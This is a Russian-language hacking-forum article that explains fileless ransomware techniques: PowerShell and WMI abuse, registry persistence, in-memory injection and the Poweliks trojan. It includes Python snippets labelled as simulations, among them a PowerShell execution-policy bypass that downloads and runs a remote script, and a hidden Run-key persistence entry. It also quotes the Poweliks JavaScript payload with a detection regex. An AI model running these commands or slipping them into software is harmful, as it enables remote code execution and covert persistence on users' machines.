What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Fileless атаки как смысл жизни: подробный разбор

hackeryaroslav

Midle Weight
Депозит
$0

Авторство: hackeryaroslav​

Источник: xss.is​


Интро

Современные разновидности программ-вымогателей всё чаще применяют безфайловые методы для обхода традиционных антивирусных решений, создавая серьёзные трудности. В отличие от обычных программ-вымогателей, которые используют исполняемые файлы для заражения систем и шифрования данных, безфайловые программы-вымогатели работают непосредственно в оперативной памяти компьютера, используя легитимные системные инструменты и программное обеспечение для выполнения своих вредоносных действий. Этот сложный подход избегает создания обнаруживаемых файлов на жёстком диске, что затрудняет антивирусным программам, основанным на сигнатурах, выявление и нейтрализацию угрозы. Применение безфайловых методов в атаках программ-вымогателей стало более распространённым с середины 2010-х годов, и известные разновидности, такие как Wysiwye, SamSam и Cerber, лидируют в этом направлении. Эти варианты вымогателей используют уязвимости в широко используемых приложениях и системах, применяя доверенные инструменты, такие как PowerShell, Windows Management Instrumentation (WMI) и макросы Microsoft Office, для выполнения своих задач. Этот метод, часто называемый "жить за счёт ресурсов системы" (LOTL), позволяет вредоносному ПО сливаться с обычными операциями системы, эффективно обходя традиционные меры безопасности, предназначенные для обнаружения вредоносных файлов. Скрытность безфайловых программ-вымогателей побудила сообщество кибербезопасности к инновациям и разработке более совершенных стратегий обнаружения и предотвращения. Всё чаще используются методы обнаружения на основе поведения, эвристического анализа и системы обнаружения и реагирования на угрозы (EDR) для выявления подозрительной активности, указывающей на наличие вымогателей. Эти меры сосредоточены на мониторинге поведения системы и использовании памяти, а не только на сигнатурах файлов. Рост использования машинного обучения и искусственного интеллекта в решениях для кибербезопасности дополнительно усиливает способность обнаруживать и реагировать на эти сложные угрозы в реальном времени. Несмотря на эти достижения, безфайловые программы-вымогатели продолжают представлять собой серьёзную угрозу, так как атакующие совершенствуют свои методы.

4-Figure2-1.png

Предыстория
Эволюция программ-вымогателей началась в конце 1980-х годов, когда в 1989 году произошла первая известная атака с использованием трояна AIDS, также известного как вирус PC Cyborg. С тех пор ландшафт вымогательского ПО значительно изменился, становясь всё более сложным для обхода обнаружения и максимального воздействия. Одним из таких продвинутых методов стало использование безфайловых технологий, которые начали набирать популярность в середине 2010-х годов. Безфайловые вымогатели не зависят от традиционных исполняемых файлов для заражения системы. Вместо этого они эксплуатируют уязвимости в легитимных процессах и памяти, что затрудняет их обнаружение и нейтрализацию традиционными антивирусными решениями. Эта форма атаки весьма сложна, так как она избегает записи вредоносного кода на диск, что является основным методом, используемым антивирусными программами для выявления и блокировки вредоносного ПО.

Одним из примечательных примеров безфайлового вымогательского ПО является Wysiwye, обнаруженный в 2017 году. Этот вариант сканирует интернет в поисках открытых серверов протокола удаленного рабочего стола (RDP) и пытается украсть учетные данные для распространения по сетям. Еще один ранний пример — SamSam, впервые появившийся в 2015 году, который в основном нацеливался на медицинские организации, используя безфайловые методы для доступа к сетям и шифрования критически важной информации без оставления типичных следов вредоносного ПО.

Переход к безфайловым вымогателям стал более заметным, когда атакующие начали использовать уязвимости в широко используемых приложениях и системах. Например, вымогатель Cerber, появившийся в 2016 году, использовал уязвимость Microsoft для заражения сетей, что принесло значительные финансовые выгоды преступникам. Другие значительные штаммы включают BadRabbit, который в 2017 году нацелился на медиа-компании в Восточной Европе и Азии, и Ryuk, который использовался в целенаправленных атаках на критическую инфраструктуру, такую как больницы, с 2018 года.

Безфайловые методы​

Безфайловое вредоносное ПО – это тип, который работает, не оставляя обычных следов, ассоциируемых с традиционным, которое обычно полагается на файлы, хранящиеся на диске. Вместо этого оно действует непосредственно в оперативной памяти компьютера, используя доверенные системные инструменты, что делает его особенно трудным для обнаружения и удаления. Как следует из названия, безфайловое вредоносное ПО не сохраняет никаких файлов на жестком диске, что позволяет ему обходить традиционные решения для кибербезопасности, такие как антивирусы нового поколения (NGAV), платформы защиты конечных точек (EPP) и системы обнаружения и реагирования на угрозы (EDR, XDR, MDR).

Как работает​

Атаки с использованием безфайлового вредоносного ПО задействуют легитимные административные инструменты, встроенные в операционные системы, для выполнения вредоносных действий. Часто эксплуатируемые инструменты включают PowerShell, Windows Management Instrumentation (WMI) и макросы Microsoft Office. Используя эти доверенные инструменты, безфайловое вредоносное ПО может сливаться с обычными операциями системы, обходя приложения безопасности, которые обычно отслеживают вредоносные файлы.

Простое: Использование переменных окружения

Python: Скопировать в буфер обмена
Code:
import os

os.environ['MALWARE_PAYLOAD'] = 'print("Это имитация payload")'

exec(os.environ['MALWARE_PAYLOAD'])

Среднее: Загрузка и выполнение PowerShell

Python: Скопировать в буфер обмена
Code:
import subprocess

powershell_command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('https://example.com/harmless-script.ps1')\""

subprocess.run(powershell_command, shell=True)

Продвинутое: Сохранение в реестре Windows

Python: Скопировать в буфер обмена
Code:
import winreg
import subprocess

def create_registry_run_key():
    key_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    # Открытие ключа реестра для редактирования
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
    # Создание или обновление записи реестра
    winreg.SetValueEx(key, "HarmlessExample", 0, winreg.REG_SZ, "powershell.exe -WindowStyle Hidden -Command \"while($true){Start-Sleep -Seconds 60; Write-Host 'Имитация постоянства'}\"")
    winreg.CloseKey(key)

create_registry_run_key()

subprocess.run("powershell.exe -WindowStyle Hidden -Command \"while($true){Start-Sleep -Seconds 60; Write-Host 'Имитация постоянства'}\"", shell=True)

Сложное: Симуляция инъекции DLL в памяти

Python: Скопировать в буфер обмена
Code:
import ctypes

# Симулированное содержание вредоносной DLL (представлено здесь как строка)
malicious_dll = b"байты DLL "

# Выделение памяти для DLL
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(malicious_dll), 0x3000, 0x40)

# Копирование "DLL" в выделенную память
ctypes.windll.kernel32.RtlMoveMemory(ptr, malicious_dll, len(malicious_dll))

# Симуляция выполнения (понятно что тут должны были быть более крутые мувы)
print(f"Симулированная DLL загружена по адресу: {hex(ptr)}")

# Освобождение выделенной памяти
ctypes.windll.kernel32.VirtualFree(ptr, 0, 0x8000)


Типы безфайловых методов​

Некоторые популярные техники, реализованные в безфайловом вредоносном ПО, включают:
  • Манипуляция реестром Windows: Код записывается и выполняется непосредственно из реестра обычным процессом Windows. Эта техника помогает добиться таких целей, как сохранение, обход белого списка и избегание статического анализа.
  • Эксплуатация документов: ПО может запускаться через уязвимости в документах, таких как файлы Microsoft Word или Excel, которые часто распространяются через фишинговые письма.
  • Выполнение в памяти: Вредоносный код выполняется непосредственно в оперативной памяти, не оставляя файлов на жестком диске, что затрудняет обнаружение и удаление традиционными мерами безопасности.

Эволюция и распространение​

Безфайловое ПО существует более десяти лет, но значительно эволюционировало за это время. Ранние примеры, такие как Frodo и The Dark Avenger, использовали безфайловые методы для работы в памяти. Однако именно троян Poweliks в 2014 году продемонстрировал функциональность сохранения, что стало значительным шагом в эволюции безфайловых атак. Современное безфайловое вредоносное ПО теперь является стандартным компонентом хакерских наборов инструментов и становится все более распространенным и сложным.

Наборы эксплойтов​

Злоумышленники часто используют наборы эксплойтов — коллекции автоматизированных инструментов, предназначенных для использования уязвимостей в системе жертвы, чтобы распространять безфайловые программы-вымогатели. Эти атаки обычно начинаются с тактики социальной инженерии, такой как убеждение пользователя кликнуть на фальшивую ссылку, которая инициирует процесс заражения. Как только пользователь взаимодействует с вредоносной ссылкой или файлом, набор эксплойтов сканирует на наличие уязвимостей и выполняет вымогательское ПО непосредственно в памяти системы.

Обнаружение и реакция​

Обнаружение программ-вымогателей стало важным компонентом в борьбе с этими продвинутыми угрозами. Традиционные методы обнаружения, такие как обнаружение на основе сигнатур, часто неэффективны против безфайловых программ-вымогателей из-за отсутствия файловых следов. Вместо этого техники обнаружения сосредоточены на выявлении ненормального поведения и шаблонов, указывающих на активность вымогателей, таких как необычные операции шифрования файлов или подозрительные сетевые трафики. Быстрое обнаружение и реакция имеют первостепенное значение; изоляция зараженной машины от сети и восстановление из безопасных резервных копий могут предотвратить широкомасштабные повреждения.

Известные примеры​

Недавние примеры продвинутых штаммов программ-вымогателей включают NotPetya и Frodo. NotPetya использует уязвимости безопасности для заражения систем без взаимодействия пользователя, шифруя файлы и требуя платежи в биткойнах за ключи дешифрования. Frodo, хотя и не полностью безфайловый, представляет собой раннего предшественника безфайлового вредоносного ПО, загружаясь в загрузочный сектор компьютера и работая в памяти. Эти штаммы подчеркивают продолжающуюся эволюцию тактик вымогателей и необходимость надежных мер кибербезопасности для их противодействия.

Основные характеристики​

Атаки, основанные на памяти​

Одной из определяющих особенностей безфайловых программ-вымогателей является их способность работать исключительно в оперативной памяти компьютера. Это делает их чрезвычайно трудными для обнаружения с помощью традиционного антивирусного или программного обеспечения для защиты конечных точек, которые обычно сканируют на наличие вредоносных файлов на жестком диске.

Невидимость​

Безфайловые программы-вымогатели часто обходят системы обнаружения, основанные на сигнатурах, которые полагаются на известные образцы вредоносного ПО, поскольку они не создают файлов на целевой системе. Этот уровень невидимости затрудняет идентификацию и нейтрализацию угрозы средствами безопасности.

"Жизнь за счет системы"​

Атакующие используют легитимные приложения и инструменты, которые уже присутствуют на скомпрометированной системе, чтобы избежать подозрений. Используя такие инструменты, как PowerShell, Windows Management Instrumentation (WMI) и сценарии макросов, они могут сливаться с нормальными системными действиями.

Эксплуатация уязвимостей​

Безфайловые программы-вымогатели часто используют непатченные уязвимости в операционных системах и приложениях. Это делает их значительной угрозой для систем с низким уровнем обновления и управления патчами.

Процесс заражения​

Процесс заражения безфайловыми программами-вымогателями можно разделить на несколько этапов:

1.Получение доступа

Доступ к целевой машине обычно достигается с помощью тактик социальной инженерии, таких как фишинговые электронные письма и веб-сайты, или через компрометированные учетные данные.

2.Выполнение

После проникновения в систему безфайловое ПО выполняет код путем манипулирования локальным программным обеспечением, библиотеками или доступными ресурсами. Это позволяет программам-вымогателям работать непосредственно в оперативной памяти компьютера.

3.Сохранение

После получения контроля над системой вредоносное ПО часто создает скрытый вход, известный как "черный ход", для непрерывного доступа злоумышленника. Это обеспечивает продолжительный сбор данных без утраты контроля.

4.Достижение целей

Заключительный этап включает выполнение намеченных вредоносных действий, таких как эксфильтрация данных, кража учетных данных, шифрование файлов, загрузка другого вредоносного ПО или другие вредоносные действия.

Методы и инструменты​

1.Вредоносное ПО, встроенное в реестр​

Этот тип вредоносного ПО встраивается в реестр Windows, центральную базу данных, хранящую настройки конфигурации операционной системы. Таким образом, оно может сохраняться и оставаться в системе даже после перезагрузок, что создает значительные сложности для обнаружения и удаления.

2.Руткиты​

Руткиты находятся в ядре операционной системы, маскируясь под нормальные системные процессы для обхода обнаружения. Их способности к сокрытию делают их особенно трудными для удаления, и они часто сохраняются несмотря на перезагрузки и антивирусные сканирования.

3.PowerShell и WMI​

PowerShell часто используется в атаках "жизнь за счет системы", когда злоумышленники используют легитимные инструменты в злонамеренных целях. Создавая команды и сценарии PowerShell, они могут обходить обнаружение традиционными антивирусными решениями и выполнять различные этапы атаки, такие как разведка, боковое перемещение и эксфильтрация данных.

4.Наборы эксплойтов​

Наборы эксплойтов нацелены на уязвимости системы без записи на носители данных, что позволяет атакующим незаметно проникать и заражать системы.

Специфические техники, используемые продвинутыми штаммами программ-вымогателей​

Продвинутые штаммы программ-вымогателей используют сложные методы, чтобы обойти традиционные антивирусные решения и избежать обнаружения.

1.Инъекция кода в память​

Инъекция кода в память — это метод, при котором программа-вымогатель существует только в памяти процесса, пока процессы работают на системе. Эта техника позволяет вредоносному ПО распространяться и повторно внедряться в легитимные процессы, необходимые для нормальной работы Windows. Это делает трудным для решений по безопасности обоснование остановки, блокировки или карантинизации таких процессов без риска для стабильности системы. Некоторые из популярных методов инъекции кода включают процессное высасывание, локальную инъекцию кода и отражающую загрузку.

2.Атаки на основе скриптов​

Атаки на основе скриптов не являются полностью безфайловыми, но используют файл для первоначального выполнения вредоносного ПО в памяти. Эти атаки эксплуатируют скрипты, чтобы сохранять скрытность и избегать обнаружения. Например, кампании социальной инженерии могут использовать обфусцированные скрипты, которые динамически загружают вредоносные нагрузки в память, не касаясь диска, тем самым избегая традиционного антивирусного сканирования. Техника Sharpshooter является заметным примером, когда .NET бинарный файл выполняется непосредственно из памяти с помощью скрипта.

3.Манипуляция реестром Windows​

В этой технике программа-вымогатель записывает и выполняет вредоносный код непосредственно из реестра Windows с использованием обычных процессов. Эта манипуляция помогает добиться постоянства и избежать методов обнаружения, таких как разрешение списка и статический анализ. Скрываясь в реестре, вредоносное ПО может избежать срабатывания оповещений, которые обычно возникают из-за операций на диске.

4.Анализ сетевого трафика​

Программы-вымогатели требуют сетевого подключения для связи с удаленными серверами с целью обмена ключами дешифрования и получения команд и инструкций управления. Подозрительный сетевой трафик, такой как файлы, передаваемые на неизвестные файлообменные сайты, или необычные всплески объемов передачи данных, может указывать на текущую атаку программой-вымогателем. Мониторинг сетевого трафика на наличие таких аномалий является критически важным аспектом обнаружения и предотвращения программ-вымогателей.

Fileless-Percentage-of-Events-01.jpg

Пример​

Trojan Poweliks​

Trojan Poweliks является ярким примером продвинутого программного обеспечения-вымогателя, использующего безфайловые методы для обхода традиционных антивирусных решений. Изначально известный как Wowliks, Poweliks устанавливается в реестр системы, избегая создания обнаружимых файлов на диске. Вредоносное ПО использует уязвимости в Microsoft Office для проникновения в системы, применяя PowerShell и JavaScript для выполнения вредоносных действий непосредственно в легитимных областях памяти. Poweliks использует стандартный список ключевых слов для генерации рекламных запросов, маскируясь под легитимные поисковые запросы и связываясь с рекламными сетями для показа рекламы. Эти действия часто приводят к дополнительным инфекциям вредоносным ПО, таким как Trojan.Cryptowall, что еще больше компрометирует систему.

javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")

^(?=.*\bjavascript\b)(?=.*\bRunHTMLApplication\b)(?=.*\bWScript\.Shell\b)(?=.*\bRegRead\b).*$

Также, работа LOTL хорошо описана в этом репозитории
Код: Скопировать в буфер обмена
https://github.com/bytecode77/living-off-the-land

Тренды программ-вымогателей​

Недавние отчеты показывают значительный рост атак с использованием безфайлового вредоносного ПО, с почти 900% увеличением между 2019 и 2020 годами. Эта тенденция подчеркивает изменяющийся характер киберугроз и растущую сложность тактик вредоносного ПО. Безфайловое программное обеспечение-вымогатель представляет собой серьезную проблему для команд безопасности, требуя постоянной адаптации и разработки передовых методологий обнаружения.

Будущие Тренды​

По мере того как киберугрозы продолжают эволюционировать, продвинутые программы-вымогатели всё чаще применяют безфайловые методы для обхода традиционных антивирусных решений. Ожидается, что тренд к безфайловому программному обеспечению-вымогателю будет расти, поскольку злоумышленники осознают эффективность этих методов в обходе традиционных мер безопасности. Атаки безфайлового программного обеспечения-вымогателя не зависят от исполняемых файлов; вместо этого они используют доверенные системные инструменты и процессы в памяти, что делает их чрезвычайно трудными для обнаружения и нейтрализации.

Кроме того, растущая интеграция IT и операционных технологий (OT), вызванная Интернетом вещей (IoT) в промышленных сферах, представляет новые риски безопасности. Каждое новое умное устройство добавляет конечную точку, которую необходимо защитить, предоставляя больше возможностей. Эта интеграция требует комплексного подхода к безопасности конечных точек, включая передовые технологии, такие как машинное обучение (ML) и искусственный интеллект (AI), для обнаружения и предотвращения угроз в реальном времени (для этого я написал отдельную статью, ищите в разделе AI\ML).
 
Top